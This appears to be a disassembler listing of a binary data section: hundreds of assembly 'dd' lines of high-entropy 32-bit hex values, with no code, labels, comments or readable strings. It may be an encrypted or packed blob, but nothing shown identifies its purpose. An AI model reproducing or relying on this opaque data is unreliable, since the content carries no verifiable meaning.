		dd 0EC3C35DAh, 68B027h,	77080778h, 4C187F2Dh, 0D8F71900h
		dd 96105925h, 0F3350061h, 2D4F7869h, 0AF28776Dh, 6609E729h
		dd 7EF16239h, 0F758623Dh, 13687A0Ch, 0F51DAE0Dh, 210805A8h
		dd 50B76CE3h, 0DFF7FEF8h, 9E5208CCh, 4ED8E6BBh,	2480BC64h
		dd 8A09DE31h, 0D418F575h, 113F5BFh, 7E0E1BB0h, 4519C353h
		dd 0A90E0F47h, 53DFAD9Ch, 7352FFC2h, 809C0BEBh,	8B16ED7Ch
		dd 0B600D8EAh, 0F67D187Fh, 0F995F0E0h, 10A048DDh, 47FC5AC0h
		dd 0D0F6F372h, 29998BEh, 189E7290h, 6D41D1F7h, 0DC0AA401h
		dd 27098F1Ch, 0BB705561h, 0C08108CEh, 643BED62h, 0D940B721h
		dd 4EC3D277h, 302E8C0h,	0D0860606h, 812DAF6h, 0E5EE652Ch
		dd 0B016883h, 307D1368h, 2DE9F7CBh, 0FEA07912h,	9B5028C5h
		dd 6C011B3Bh, 0B32CCCF3h, 0D05627FEh, 49320581h, 106B72BAh
		dd 593B07A2h, 0DD45E401h, 2530FF69h, 7C9F6F54h,	2D433E10h
		dd 0BCC738Fh, 24C8207Dh, 253D3713h, 26F8930Bh, 0F016A7B3h
		dd 939BB915h, 0CD1F61FAh, 39EA3A59h, 6AF96033h,	5042009Ch
		dd 63156051h, 2930E18Eh, 6C8614F1h, 1416E4EDh, 797DB35Dh
		dd 62D0D05Eh, 25EC48EFh, 0F9F8F914h, 52C07E9Dh,	55468E74h
		dd 0CC385B66h, 265DA9BBh, 0F68D8B31h, 59CA8BDEh, 0E99993DDh
		dd 2D6867B8h, 0B8E241C9h, 0C1C851D7h, 639A65E9h, 5355121Eh
		dd 0F05A988Ah, 0B15B0EE2h, 22F839EFh, 63948B9h,	0EFCD8094h
		dd 0F6FE2034h, 44EAE09Dh, 9840620Bh, 3103F472h,	8C0DB9F0h
		dd 4E35E26Ah, 1F3049E1h, 0CA81000Bh, 423108BFh,	0BB24E957h
		dd 5067BF97h, 0EB909494h, 257309BAh, 38486D43h,	4D091721h
		dd 51542958h, 740CA04Ch, 0CE699DE9h, 15A23F3Ch,	3F5D7BA1h
		dd 0BC9224BDh, 4DA61982h, 162AF7CFh, 58C6A903h,	0DEA55AB4h
		dd 1806FF16h, 57169268h, 0C96D10Bh, 0D26EE882h,	929F6367h
		dd 6FA077D0h, 787E1E97h, 0AA0554EAh, 0CEE9B393h, 48018D4h
		dd 0F78CEE10h, 123DBE60h, 0BB504572h, 2F08A350h, 0EAB1F75Ah
		dd 0ACC254CAh, 22B05B59h, 23DE2E41h, 7D930269h,	0BA8D327Fh
		dd 5FC00129h, 80BB045Eh, 8DEE8021h, 94B05028h, 20E9D81Dh
		dd 0A9477B27h, 0CDFD2532h, 4E65AF73h, 98D8298Ch, 0C4C04E4h
		dd 0FC28E917h, 20FA5A17h, 8FBB53BEh, 13C7C16h, 0DE5B3BC8h
		dd 0C1985A6Fh, 0FB7A7044h, 0ECD955FBh, 0E188C502h, 680A0FE3h
		dd 8CD34CF0h, 0F5A71A0Ch, 52459903h, 0E9E82921h, 0A23A16FAh
		dd 0ED584A1h, 218BE18h,	0AD23DC3Dh, 0D5A56921h,	9D955BDCh
		dd 0D0080A45h, 0BDC11D6Dh, 8BF109FEh, 62754D2Ah, 4BF359AFh
		dd 8B3D2276h, 8476E166h, 0B9013CB5h, 0CD1CF1FCh, 2A753131h
		dd 0E86E44F1h, 2CFAB47Ch, 0C2BFB279h, 0D2FB771Eh, 4116E625h
		dd 2C42ED29h, 68BF4B7Ah, 3A4E6984h, 924CBDh, 0BE61AEC7h
		dd 0A826E971h, 7EC2731Bh, 97625645h, 6F5DAA03h,	68665942h
		dd 0E7E4FF4Ah, 0C17FE917h, 5604BDEDh, 8475E813h, 8C01081h
		dd 0CB4CA04Ah, 6D45429Fh, 0BFE90B3Dh, 0A7D80362h, 0A1A69685h
		dd 7C806805h, 77B6C230h, 0E4CE7BFEh, 357095EAh,	0F1E9EF12h
		dd 0B847585Eh, 0F7D50990h, 4A036CF8h, 6889E97Dh, 0E1F6B903h
		dd 2F9392B8h, 43725EA8h, 8243593Ah, 0E4E95674h,	63CED539h
		dd 0DD588127h, 6E687890h, 503C5F12h, 0E0010CBBh, 5317C261h
		dd 0E406B56Bh, 0BC164B4Eh, 5455C11Fh, 9EEC2F5Dh, 0AEC085E5h
		dd 1CAEF357h, 41CF13A4h, 0FE2FB120h, 0E1C7E8C9h, 0B00554B5h
		dd 3F1A4576h, 5ABA4179h, 0C040883h, 32AC16BFh, 40F004B4h
		dd 1E9F5920h, 5F681C91h, 9CDF2D06h, 8D952F01h, 898AB753h
		dd 0CB0BA8F1h, 58FD5E59h, 14BF651Bh, 9FA9DEDh, 0EC9C402Dh
		dd 4DCA2FF1h, 5508847Bh, 0A0E942BDh, 0BB01B674h, 64B85905h
		dd 6F991D70h, 6A8B2129h, 8680DCF1h, 8005EFC0h, 0EC2D73F7h
		dd 0FE2805B8h, 499E60E9h, 0DFABCEA7h, 0ABA7B965h, 0D7A28B3Dh
		dd 682F761Ch, 0D99A55F4h, 0E92FA87Ah, 681E016Fh, 3A2C0893h
		dd 9C3DD8C2h, 0A9DFB3C2h, 45C6DBE0h, 0B3970956h, 7FB90858h
		dd 0CD80C62h, 0C10EC6BEh, 0C0183251h, 0F26A44E6h, 597B027h
		dd 0D382FE2Bh, 0D0811F29h, 0C1380BD5h, 0FECA579Ch, 0DB87E0D5h
		dd 2318B387h, 3720BBC4h, 50F8B201h, 0E228DBB4h,	0B535BA20h
		dd 60BECDA0h, 759023B2h, 8457F601h, 9F61E97Ah, 3B9E0168h
		dd 0AF75855Fh, 5CA018B2h, 0BFE45766h, 4B481A3Bh, 0C55EEAFDh
		dd 24290B0h, 0EA314A1h,	591DE9B8h, 0B38EE0BCh, 0CBEE1227h
		dd 258B4815h, 4AC2A065h, 0B731450Fh, 8BFCE778h,	283A1D63h
		dd 0F9C9B9C3h, 46D5B857h, 0AA2E89A1h, 0E92CAA68h, 0D6F8B62Fh
		dd 0F689EDE9h, 0D7924454h, 0DA70CCFBh, 5011FBEh, 0C8BDCEB9h
		dd 44D9E13Bh, 0FEF8AAA0h, 0DBE8AAA4h, 97F0018Ah, 4A84E630h
		dd 3AF5E9B0h, 0EE3CCDFEh, 0BC2C3F5Dh, 0DD7F16F9h, 608CEC49h
		dd 949CCB1h, 12E255A8h,	0E10B48D4h, 3A3EC57Eh, 51A26FAFh
		dd 0B4737B6Ch, 0EB073CA6h, 0BE51565Dh, 0F86B0A37h, 0A61E2436h
		dd 0FDD0888Bh, 0E6D18D48h, 9EEE810Bh, 17C75001h, 0C1555EF5h
		dd 0CD689F54h, 0CF88E63Eh, 0A9E90B07h, 54B72B50h, 72C35808h
		dd 0E63AEC0Fh, 0F72F4C68h, 8C784BEAh, 564F515Eh, 98D28964h
		dd 5862690Ch, 64972D6Fh, 7740F89Ch, 32517755h, 481E2AF3h
		dd 6E598161h, 41297ACCh, 33CB3EB0h, 0BE7D465Eh,	0D327A526h
		dd 0EE4BDA9Eh, 0BB112C3Ah, 8EE1013Ch, 312C6033h, 6C41F4FCh
		dd 56893027h, 5F58E202h, 98A47D09h, 14BCBE52h, 8AE54E79h
		dd 335817h, 6AA41FB8h, 0A2E858BBh, 0F4A100E9h, 170BD906h
		dd 0AAA355E9h, 58515FCCh, 4600CE52h, 0B95A27BEh, 0D82CBC84h
		dd 4B24C44Ah, 0BC8DFCADh, 578F8697h, 0F008CD88h, 2AC54F0Eh
		dd 0B30BD609h, 0AC6B82EEh, 4EF3CB60h, 8A1ABB86h, 96D8750Ch
		dd 0A8E7E917h, 68A221FDh, 95A9D05Fh, 0E958C456h, 8B4849ADh
		dd 5A50E303h, 0CBB036FCh, 70254B94h, 0ACAD004h,	0DB3C61EBh
		dd 0DF600BACh, 942E7FFh, 984EE2C9h, 3BC564Bh, 35471EF1h
		dd 0E0BE003Dh, 1C7CC23Eh, 575F2F2Dh, 55247F96h,	80828752h
		dd 0EA777A4Bh, 0FF070B45h, 74454B02h, 2992A2FBh, 37D1604h
		dd 15868ABAh, 3824D73h,	6DB5BEEFh, 39F4DF9Fh, 26D8D8EAh
		dd 0E1D5D3AAh, 6DF49B25h, 0EA42BD3Ch, 0CDD67AE2h, 80086158h
		dd 800713B4h, 0E328E5F4h, 92B04AC4h, 9BFEB701h,	0E9BB4952h
		dd 0B85EFAh, 773085BAh,	70C00942h, 3C91F581h, 8860F37Fh
		dd 5B9DFA84h, 3A9AD6Bh,	361672C7h, 9F0C0008h, 0E9CC85C2h
		dd 0D4B97932h, 0A8719B02h, 155C5575h, 0E60EDABAh, 0AAE44D9h
		dd 3E0959F8h, 0FE004BE8h
		dd 719F78A1h, 429618C1h, 0D9705CF2h, 16914EE9h,	15A1DCB0h
		dd 7CBD3170h, 50B15001h, 2AEE8BC7h, 0D545F822h,	51CE3687h
		dd 8368CF6Eh, 1213281Ch, 0BBF6E062h, 8DCD27DCh,	38430962h
		dd 74C469AAh, 2654C40Ch, 0FC07CC5Bh, 910D4AFBh,	7CCFC5ACh
		dd 27E3A5D7h, 8FE26D94h, 5413C25Eh, 58A22609h, 472D0088h
		dd 13B401Ch, 7A205F0h, 58D7F1FFh, 5E31512Dh, 1E0D60D2h
		dd 97C54A68h, 399C91FBh, 878D2F5Eh, 27234DE4h, 64DE0F82h
		dd 72544B07h, 573C0D9h,	0D48009EDh, 0C17D09F8h,	81A66DA1h
		dd 9E6E2347h, 7206D6C1h, 0D0FFB68Bh, 2A2C4FFEh,	0C9FE1779h
		dd 65D89CABh, 1E690895h, 0A43D06D8h, 984B207Ch,	2C8741BDh
		dd 0F8F01220h, 3F236096h, 0A8BCC4F5h, 7D89A33Eh, 32A03030h
		dd 24286BBDh, 2611A5Dh,	4E38DF5Eh, 899A03D7h, 0A8AACCF2h
		dd 9DEF93F5h, 1D2140D7h, 5F3EA837h, 9E5BF4Dh, 0C3A5765h
		dd 3E047890h, 292FFFDBh, 73AF92D1h, 0DDE905B8h,	0C2CCD282h
		dd 64B2D3E1h, 0A5FC32B5h, 0CB0C4468h, 5869B08h,	0BF2C8758h
		dd 991057E6h, 7947F4Eh,	1B22D042h, 5644C5E7h, 0B86BB40Ch
		dd 517F6041h, 0ECF4DFF8h, 52BCF5ABh, 8A541893h,	2C3880BEh
		dd 8A21AE66h, 33FE4C12h, 0A4C957B4h, 0DC7BA83Eh, 0AD20393Eh
		dd 27D05077h, 0ACC41DA7h, 445AA598h, 85C515F2h,	2E98406h
		dd 71F2E9BAh, 0C08BB2DFh, 9391006h, 0D1012C15h,	13083A08h
		dd 0CBFB5Ah, 53C4549h, 0C1D035C8h, 0FE67D416h, 8072E88Ah
		dd 595E68E0h, 0AC0318B6h, 0E97A5011h, 0E45F16CAh, 7FFD206Dh
		dd 329C7D9Dh, 0F143A92Dh, 74CB275Ah, 76CD11B0h,	0CD21E524h
		dd 5E545641h, 2D47DA3Ah, 0DD468BBFh, 0BB09AA0h,	65903D94h
		dd 8D2816FEh, 6DEAC662h, 7DEAC180h, 5D272D03h, 0E7743275h
		dd 9ED125E5h, 9BF14E44h, 0FA4AD47Ch, 0A424922Dh, 92D89F87h
		dd 0C56D796Eh, 9BED0E11h, 0B8BC210h, 5CCCF180h,	9AD43185h
		dd 0D001022Ah, 5FDA40BAh, 0E15D55DEh, 1516576Fh, 639D1DB4h
		dd 0DF019629h, 29158E6Eh, 202FE69h, 7ADBE940h, 803EDEE8h
		dd 68B0BA12h, 958937B4h, 0FC2D6BE7h, 16A006Dh, 0EDB8145Eh
		dd 4F945312h, 5B728BBBh, 468D2940h, 0F1293A6Fh,	580C0219h
		dd 80274479h, 70EBBFE3h, 0FB1D4BF8h, 9448079Eh,	0FA36169Dh
		dd 0E63B9A39h, 0C8E987A9h, 0E933D69Bh, 68AB8A0Fh, 0C38399C0h
		dd 0B52D20F5h, 16AE401Fh, 57FEC68Bh, 5A59DBEEh,	12BE014Ch
		dd 1301F07h, 0AB045629h, 1D456E0Eh, 231644C5h, 85650EFh
		dd 5140C68h, 1851EE9h, 2E10DC32h, 92C1EC0Fh, 841C1FBBh
		dd 0F774EBC0h, 0A10DD8h, 356A1D16h, 450B2E67h, 2AC02502h
		dd 0D5F73C79h, 3D6B36E8h, 2742894Ch, 61688EADh,	12234727h
		dd 0F5AD273Ah, 3E3CB1A8h, 0B788A6E0h, 85DA42Ah,	762C70F3h
		dd 575D1932h, 148248DCh, 4252447Bh, 13C8C1A4h, 482F032Fh
		dd 5C272E1Ch, 663E0115h, 68CCE1F7h, 0FF6D4EA7h,	41960D61h
		dd 806F207h, 652FB3A2h,	0E0BD115Eh, 0FE17DA62h,	0BB53034Dh
		dd 22475F8Eh, 6408EBF9h, 0D361F7E5h, 0B73EE911h, 0D4EDAB50h
		dd 0DE51320h, 4A88EA5Bh, 0BC759734h, 0E8DBB5A4h, 70BBF61Eh
		dd 11271A90h, 24F245BCh, 8C50142Bh, 5460F902h, 0DE754D09h
		dd 0F0DA47BAh, 0F5877A2Eh, 8D8D6F8h, 2F10ACD8h,	4003E640h
		dd 1A818EBDh, 0A8887B57h, 4E8D2768h, 0FBCE2918h, 1848B980h
		dd 78026E61h, 0E609DAF5h, 0E23FE920h, 31F3C714h, 7AC4E915h
		dd 0CD80AA03h, 1FC5999Eh, 213E1761h, 2F8CDF95h,	83808DDDh
		dd 0E03AF9BFh, 7D4EE90Dh, 0C8D10DC2h, 27EFA4B7h, 8C54D4CBh
		dd 0F1232913h, 0ACB0B5E9h, 0FADD6901h, 0F4A5A65Eh, 22E9C1C6h
		dd 0B5E76B6Fh, 0F55D324Fh, 0D16E887Dh, 0D81969CFh, 6859099Fh
		dd 70984FCAh, 0B7075350h, 80CFFE30h, 0E732A927h, 167F670h
		dd 0F8884AEFh, 7DC5CD5Bh, 1C0C8571h, 54F62447h,	4B6201E6h
		dd 0CB26A861h, 70F50950h, 102D00CDh, 29BD0172h,	0CE9658C5h
		dd 3088FB0Ch, 95F5905Ch, 9B68B4E8h, 49CC2D4Ah, 88F3407Eh
		dd 57FAD15Eh, 9740F20Ah, 9C0E3A35h, 3DEA1779h, 0F26760EFh
		dd 734A666Bh, 2D68051Eh, 4D7B613h, 6C36E956h, 428CBD01h
		dd 5C75CAA7h, 0E0551276h, 0BF7257D2h, 35B37103h, 92FB8953h
		dd 808071DEh, 0D5CE815Fh, 4F2F917Bh, 78B3D857h,	7FB304D3h
		dd 0F34520E9h, 0E1C010C6h, 80B00E7Fh, 0C36901EBh, 0F980155h
		dd 0F03ADAF6h, 0AA01C2B1h, 885AD328h, 63E65BDEh, 0E9CEF047h
		dd 0E734EB09h, 4FCEBAC7h, 567F0F1Fh, 0B8D0C9BDh, 535C8C18h
		dd 9363D99Dh, 5C29BB55h, 0A4A5F492h, 4B9FC16Fh,	0A264DA24h
		dd 0DFCA31E9h, 43922102h, 0BC0800FEh, 9FE3D93h,	4F143DF9h
		dd 302D9FC0h, 7217E92Fh, 0D6891260h, 64C1F0CCh,	0F137EE60h
		dd 1F88331Ah, 76C80156h, 0FE0C6CAAh, 8D4F6CCh, 0C2C43080h
		dd 0E130CD06h, 0F2FCB898h, 45C15EB7h, 0A093FEA2h, 2D242BA1h
		dd 27726D1h, 11B94F4Ah,	7FE74BC0h, 893C5812h, 90EF3113h
		dd 862EE9EAh, 5F5458C4h, 0B8DF469Ch, 0E0BE4D64h, 0BD187913h
		dd 4FB81BEh, 0E9017C0Ch, 24176AD4h, 0EB5938AAh,	8C6DAE0Bh
		dd 2BDEA40h, 7F6C50E1h,	683020C6h, 7789D54Eh, 29535E5Eh
		dd 6F601ECh, 52AF05BBh,	2322BA35h, 0A9864BB4h, 0A873E59h
		dd 0D5C0095Ch, 0E315B1EFh, 0C7F37A1Ah, 0C94FCB1Fh, 0EB934267h
		dd 7932EE56h, 3CF24088h, 17019A53h, 0EAC02B91h,	5B6A3445h
		dd 36500FF7h, 9281353h,	0B186016Dh, 2F92F6D7h, 0B82E03E1h
		dd 0F0ABE4EDh, 2E86EBA5h, 83A68228h, 138E6D81h,	6702F7A0h
		dd 0BA239624h, 1877B902h, 0CD81FF54h, 6B8FE4E9h, 0CB5AAB8Ah
		dd 25E912C7h, 0F2FE5E82h, 3DBF2042h, 0F28252BDh, 41684F4Dh
		dd 62119346h, 1CBB2A1Ch, 570FC223h, 4A7D6132h, 0D20808A9h
		dd 3E4B3617h, 0EB0FF53h, 502D6EBAh, 7E82833Fh, 511BB155h
		dd 7CF587DEh, 611A63D2h, 744F383h, 7F94CBFFh, 11193E14h
		dd 8A683F9Dh, 152DDB63h, 516EF50h, 2958AC02h, 8D510CFh
		dd 13735924h, 64C71668h, 50270ECAh, 0B267EC1h, 0EC862B62h
		dd 0B52D006h, 5910D542h, 0C0BA01C6h, 3142B61Ah,	0FBB5A828h
		dd 5EE9593Ch, 9D70FB37h, 0B9489768h, 840A40Fh, 801D55BBh
		dd 8F584C8Eh, 0D9F606C1h, 279B7B0Ah, 0C2F1EFABh, 0E1A0A87h
		dd 7231638h, 704E478Eh,	997EDBEEh, 73123F4Ah, 531A8804h
		dd 86032D00h, 0F4F4D27Dh, 0BF4BE79Ah, 408217FEh, 856538FFh
		dd 7C5F0111h, 0C4181E3h, 57C6FD21h, 296453FCh, 0DAE2F684h
		dd 0ABE5D184h, 71C74904h, 3163B6AEh, 46C6FC58h,	867D0105h
		dd 0E77A402Ah, 4DF681D0h, 32BA231Ah, 0BB1B45CCh, 479FC302h
		dd 83C112D1h, 44127E42h, 0E9F083ECh, 0BBC6DB39h, 2F157E46h
		dd 149831E3h, 5D81AF02h, 56D2A472h, 0E1E811A8h,	0CDEC6F70h
		dd 0BBA72645h, 0FA4FE38Ah, 1F528635h, 99A9EAFh,	0F298B7E9h
		dd 2BF409A4h, 5A772170h, 7AAFA1A4h, 4BCF9530h, 1DCBAF59h
		dd 9A829955h, 67F7191Ch, 701BF4Ah, 665D99E9h, 0A3116E8h
		dd 9D5869A7h, 0A32A3C12h, 61F82788h, 0B26E05E7h, 99631791h
		dd 0F57CCCCh, 60412768h, 82295F04h, 6CD70825h, 0B917D0DCh
		dd 97278A25h, 0A29272DFh, 5BAE5655h, 7E6546F1h,	3785A5F8h
		dd 7188BF64h, 27D97AC0h, 6D74AFFAh, 0CC412F62h,	5FC3F262h
		dd 7F25FECBh, 50C107FEh, 4C91BF6Fh, 1942009Bh, 0CB81103Ah
		dd 0A131252h, 0D2341D39h
		dd 54594BF6h, 173D680Fh, 2205C9BCh, 0F1AD10B4h,	0C70F9C4Ch
		dd 158B199Ah, 683768DFh, 975D7070h, 6640327Fh, 5EF012D7h
		dd 0E9153805h, 0BC84874Bh, 0A0EF32C8h, 822701D7h, 0A8F361h
		dd 17EDC981h, 0E361234h, 0D1CC1055h, 965F0F22h,	0B8F4041h
		dd 0C13E0211h, 42FE09E7h, 59682194h, 98B512C8h,	1A534095h
		dd 0FE457191h, 7CB5077h, 8719E3B9h, 546EA27Bh, 3360A87Eh
		dd 0FA0E501Bh, 16269E9Bh, 1FE109FEh, 53B4F1F0h,	0E1FA89C9h
		dd 7FD85BD2h, 819B72Dh,	3912C52h, 18284EECh, 7C24059h
		dd 0C21C4FE9h, 6DDD6628h, 65ED1FC8h, 0A42F01CCh, 0D8115DFBh
		dd 2A0ECCBAh, 0A3F04C4Eh, 3D9FA149h, 2C521EE8h,	5A4CC831h
		dd 2CDA1B80h, 0AFB02A44h, 2E2B9F01h, 0D8F7951Ah, 413D54CEh
		dd 0C096B551h, 666459EEh, 0E905ED0Eh, 0D1C2A0B1h, 0E535E802h
		dd 633EC7B7h, 0B34D8824h, 0F2810272h, 54DE25DCh, 3B490DC1h
		dd 0CA8F0DF2h, 0FFC153ABh, 0D3EC7A66h, 452CABB4h, 0AB56121Bh
		dd 5B20BA26h, 0FE090C8Ch, 2A7E904Bh, 80CC799Fh,	0FA227A8h
		dd 0E801DCB6h, 0E42088C9h, 0F675EF80h, 0BAC0D73Ah, 1FDFBD07h
		dd 0C74C7BE7h, 5A00645h, 285BFD88h, 450EBBEFh, 0E9A141EBh
		dd 0A432BBD8h, 16815A77h, 493F0BD2h, 3132C5F8h,	0DD9CDED8h
		dd 5EF13123h, 5F608020h, 5B45B9BDh, 921F9884h, 613341A0h
		dd 5900D2A9h, 15BDA08h,	2CF7F280h, 20D02821h, 5F82407Dh
		dd 0B5971876h, 7C7B47EEh, 0F81D0871h, 5D8573D3h, 0EE05FDA3h
		dd 0BAF034E8h, 90BF3885h, 0E9D601E7h, 0F9930C27h, 47C9CFBDh
		dd 70A48258h, 0F4109C0Bh, 0BC3511Bh, 98464785h,	5645FEB7h
		dd 0DF8F682Dh, 19BE6A90h, 0E9CC0D28h, 8065997h,	6804759Ch
		dd 5FF35730h, 8970EE2Dh, 2C18312h, 0D2C41EB2h, 21F7981Bh
		dd 5D6D3A04h, 0FDBE4C31h, 5ABD97F7h, 0EA741185h, 0C1482A40h
		dd 32D02E8h, 46CA6585h,	805BC631h, 0A83A73E5h, 0A3FAB546h
		dd 30C2458h, 20B452A7h,	0FE3F2CCFh, 4D2AB0CCh, 3FA8EB81h
		dd 1CDA6D69h, 1908A8F9h, 26C861E9h, 41E47F2Dh, 5D305389h
		dd 9926632Eh, 205B7829h, 0D9B00799h, 93470B13h,	4020A8F8h
		dd 5B45F4Bh, 0D3761402h, 1520E661h, 0D2ED8101h,	1B067EBh
		dd 0E913714Bh, 0FBA856ACh, 41D26A88h, 4F1C7C37h, 0B5788D8h
		dd 0A629F5BFh, 92E7E183h, 0CA87A0B5h, 0EC647D45h, 0D73C1FF5h
		dd 52F9561Ah, 0BAB100EDh, 3097D86h, 1FCA8104h, 80B88A4Ah
		dd 756DE501h, 3F57E93Fh, 0B2BA3E13h, 9F83CC5Ch,	6E48722Ch
		dd 8B541E12h, 4F4B0E10h, 1489B9A3h, 7AB855B8h, 62805800h
		dd 99016CBAh, 3BD49FD4h, 534CE200h, 2C6840E3h, 0C0523B26h
		dd 2D357DD5h, 79F1314Bh, 1273DF6Ah, 0E3BB8DD4h,	0E6809F0h
		dd 5B9C197Fh, 4C9F9420h, 688E434Bh, 8FB06E2Bh, 48072B4h
		dd 0F202E4AFh, 240BA0Dh, 2882EE80h, 0DED85AF0h,	2A509C48h
		dd 8013872Ah, 4E08DAF5h, 68910248h, 2FAA47D9h, 6E7C2FD6h
		dd 72782D71h, 36765F25h, 40585609h, 0DD36C0FEh,	0BBB5B7Eh
		dd 7571B2FFh, 2D668068h, 1D640A3Ah, 5D9D029h, 68F05A0Eh
		dd 0E93E093Ah, 59578BF4h, 43E9E146h, 28B7B6Bh, 0AAEB4F76h
		dd 3420C08Bh, 0DF515E27h, 0ABC5E3Eh, 407BB880h,	13256E1Fh
		dd 0D5304Bh, 0E905E017h, 33AB3CBEh, 7E54EDC1h, 0B7EEB252h
		dd 0D9E9C47Dh, 53017EACh, 0CB8077B3h, 0DF069FB5h, 1C51168Dh
		dd 392D5020h, 3813E361h, 50E8B601h, 7C01638Ch, 0CE2119E4h
		dd 69534AE9h, 7A9F1F0h,	974D46Eh, 1EF55B08h, 26E9162Dh
		dd 0E7D7FEDFh, 7DA0A884h, 0E219729h, 20EFC101h,	5E0BF7EFh
		dd 0D8E1F34Bh, 2C3FFBA7h, 0E65DE99Eh, 0C15905BDh, 91A806EEh
		dd 0A1206548h, 0D05A70EDh, 4BEF1A39h, 502AEA8h,	794D11C7h
		dd 8257A861h, 0E0029322h, 19505F69h, 0E64EF025h, 0BE45B0AAh
		dd 2E5C59BBh, 0EFDE34FBh, 217E2199h, 43E67A3h, 79D193FEh
		dd 7A7C39Bh, 99EB87D3h,	56C16202h, 32DFC449h, 803018FEh
		dd 0EEABB614h, 0E4765F1Ah, 5898C255h, 888004E7h, 28BD3362h
		dd 5DE4718h, 736C320Ch,	0F5D00141h, 704AA07Ch, 4F05C4F8h
		dd 0C6E92F4Ch, 0FB7146F1h, 0D320A92Fh, 81F2FC16h, 550060D5h
		dd 8D026C68h, 74DE5D05h, 5D310F32h, 6CA4B9DCh, 0D1AC5B2Bh
		dd 9A594C5Ah, 0F68103CCh, 5B2C0D52h, 714E860Bh,	58C98410h
		dd 0F34B8CF8h, 3368846Fh, 5311CCBBh, 725BC4F2h,	40B05B8Ch
		dd 4CB7BF37h, 5F083F96h, 0F8D5B192h, 52BF964Ah,	6EA3BAA0h
		dd 0F24BCF16h, 0A6573C58h, 509A7982h, 0C92AF739h, 3BC7107Bh
		dd 92809BFh, 58F05553h,	0AD63CF38h, 2817813h, 4C3B5CECh
		dd 71D8F989h, 7705AA0Fh, 25F3E01Dh, 0F962D732h,	978AD830h
		dd 0E4C6748Bh, 0B3DF6097h, 20502460h, 0BCCF131Ch, 8C99CA04h
		dd 4A4378ADh, 56FDF05Ah, 4C94BE04h, 3AA16B3Ah, 5E1A56Eh
		dd 517D2C0Bh, 6E23E916h, 9BE01489h, 7F5D924Eh, 0D36D2FEBh
		dd 0D8490DDAh, 0C0C33A72h, 687E40F9h, 9607CD1Dh, 7FC45E1Bh
		dd 54402704h, 126339FEh, 29682558h, 2F8F6140h, 7F21C925h
		dd 8BB00768h, 0CC8FE1Ch, 53D0F681h, 0E06ED5B7h,	0C11C8080h
		dd 0E9CF284Ch, 99FBF2B8h, 6AFD2E9Bh, 9BAAE9C2h,	25DBA0D7h
		dd 383C6C73h, 90C84B5Bh, 754FD007h, 0CA563943h,	9083C780h
		dd 58315B5Dh, 0DA3157FBh, 2B5AD10Ch, 68CD44AEh,	2A3DE171h
		dd 0EBB45FB9h, 9352E6CBh, 79679704h, 51BC8012h,	5917CA4Dh
		dd 0C85227E9h, 1C0B5B04h, 0FCD15C0Dh, 0A09F8890h, 20BC3E5h
		dd 1EC2FC7h, 98E994A1h,	75F979B2h, 47966A1Eh, 45CE60CBh
		dd 33B809F3h, 3D629E74h, 0B50EC1Ah, 27515BF9h, 0DCA0BE50h
		dd 3D3037ADh, 1B2A0C14h, 45B2A09Eh, 27A29B4Ah, 5F825822h
		dd 28546801h, 0D9DA756Ch, 2C021BDCh, 552A862Fh,	0EB68EE40h
		dd 0B166653h, 5FD93A50h, 4C333A02h, 638B5AA9h, 79428562h
		dd 0E978BC54h, 61A24851h, 0FC1C658Eh, 0DDB38FBh, 28EB4Fh
		dd 0AFEF5A83h, 0F6328629h, 0B567E84Fh, 0E9C7F6E2h, 6AA9FB80h
		dd 3B26E7AFh, 5DFEC30Ah, 0F18440BFh, 8484827Dh,	3FB20032h
		dd 1FA3B652h, 4D8DC680h, 20AF15C4h, 809664D4h, 1F386167h
		dd 4AFBFB46h, 0C0E1B827h, 52BBB450h, 281201B2h,	88515AD4h
		dd 33FB78E5h, 0EBD66858h, 0D2C0EBF3h, 8D2EE108h, 2FDCF320h
		dd 9BD8AD04h, 3BE22C5Dh, 0C6B71250h, 0DDC631BBh, 8ECC7B31h
		dd 0D3056232h, 0E2D62176h, 65B78EB0h, 4EF87828h, 7266045Bh
		dd 0F1210A36h, 166AC308h, 61DC0952h, 3CC5Fh, 865F0ABBh
		dd 10E95631h, 62CF9DABh, 2556975Dh, 0EA17DE82h,	4BD87451h
		dd 13196879h, 0DD38649Bh, 5485E25h, 0D7A9AA7Ah,	34287A51h
		dd 1E7B6F78h, 0AA0F1240h, 0ED27C163h, 0E5FBE003h, 0E4E92D06h
		dd 0E8F30368h, 2C256F07h, 0EBDEDD01h, 7C46D7F6h, 4BE95454h
		dd 148E790h, 2565C18Ah,	816A1FE9h, 0E473CEEAh, 0D1161950h
		dd 0A71F4EE6h, 255238C6h, 0CE0F120Ch, 30AF816h,	13C60B02h
		dd 0C3102129h, 0DB00CB24h, 2E21B850h, 0E81D5A8Eh, 1CD110F8h
		dd 9EC6800h, 0F75807B9h, 7E25D000h, 0E92D3373h,	0A8CC4E65h
		dd 550B9E94h, 0F9E7F55Eh, 0B30D888h, 0EEFE05ADh, 2E4B6884h
		dd 90DE85ECh, 10D15238h, 4050F26Ch, 0F7682A05h,	391295BCh
		dd 0C7CAC6E5h, 0C5167DAFh, 5F8F99B7h, 0A2A9FD3Eh, 0AF9775Ch
		dd 0C461D66Bh, 8B86F8C7h, 49085C55h, 0F8AABE05h, 83815EB3h
		dd 0F6452468h, 41A9F7AEh
		dd 2AE80F7h, 0FCE6814Ch, 0A09D4B1Fh, 5504B172h,	0F3013DE1h
		dd 0D711E2AFh, 0E67E51AAh, 0F4D4EE13h, 6E5804F9h, 39A186E7h
		dd 616F9C18h, 2EDA685Bh, 0EDD325ABh, 0E401B346h, 0E909AFFDh
		dd 0ECAFDEE7h, 0AC6B7E8Ah, 0ACF8196h, 0A05F60DBh, 0DB507DCh
		dd 0B2F336EAh, 5887A255h, 0F76A425Bh, 5AA8A54Bh, 245FD56Eh
		dd 2D7A9E8h, 7DC365E9h,	2A73B443h, 3A3B7B0Bh, 0BDEB7A14h
		dd 9CE6B010h, 827F5981h, 0FE77586Bh, 38CC7949h,	0D405021Eh
		dd 0D73C5FEAh, 38C53841h, 515225ACh, 0D821589Ch, 80F5397h
		dd 28021F68h, 0F63604F0h, 2693C3CDh, 3DEB4D04h,	6D87EEBBh
		dd 0B5495FCBh, 3E8030D9h, 0F16A3641h, 0F006A413h, 56AC7A09h
		dd 4873C024h, 39800D6Ch, 0A06E7770h, 4F3861A7h,	3BD8ACFBh
		dd 0E9825044h, 7FD7C825h, 9C3E2EC5h, 0D72579ECh, 2A01C619h
		dd 68A368BCh, 21FE0BD6h, 58507664h, 5FE8AFC4h, 3A96EAD3h
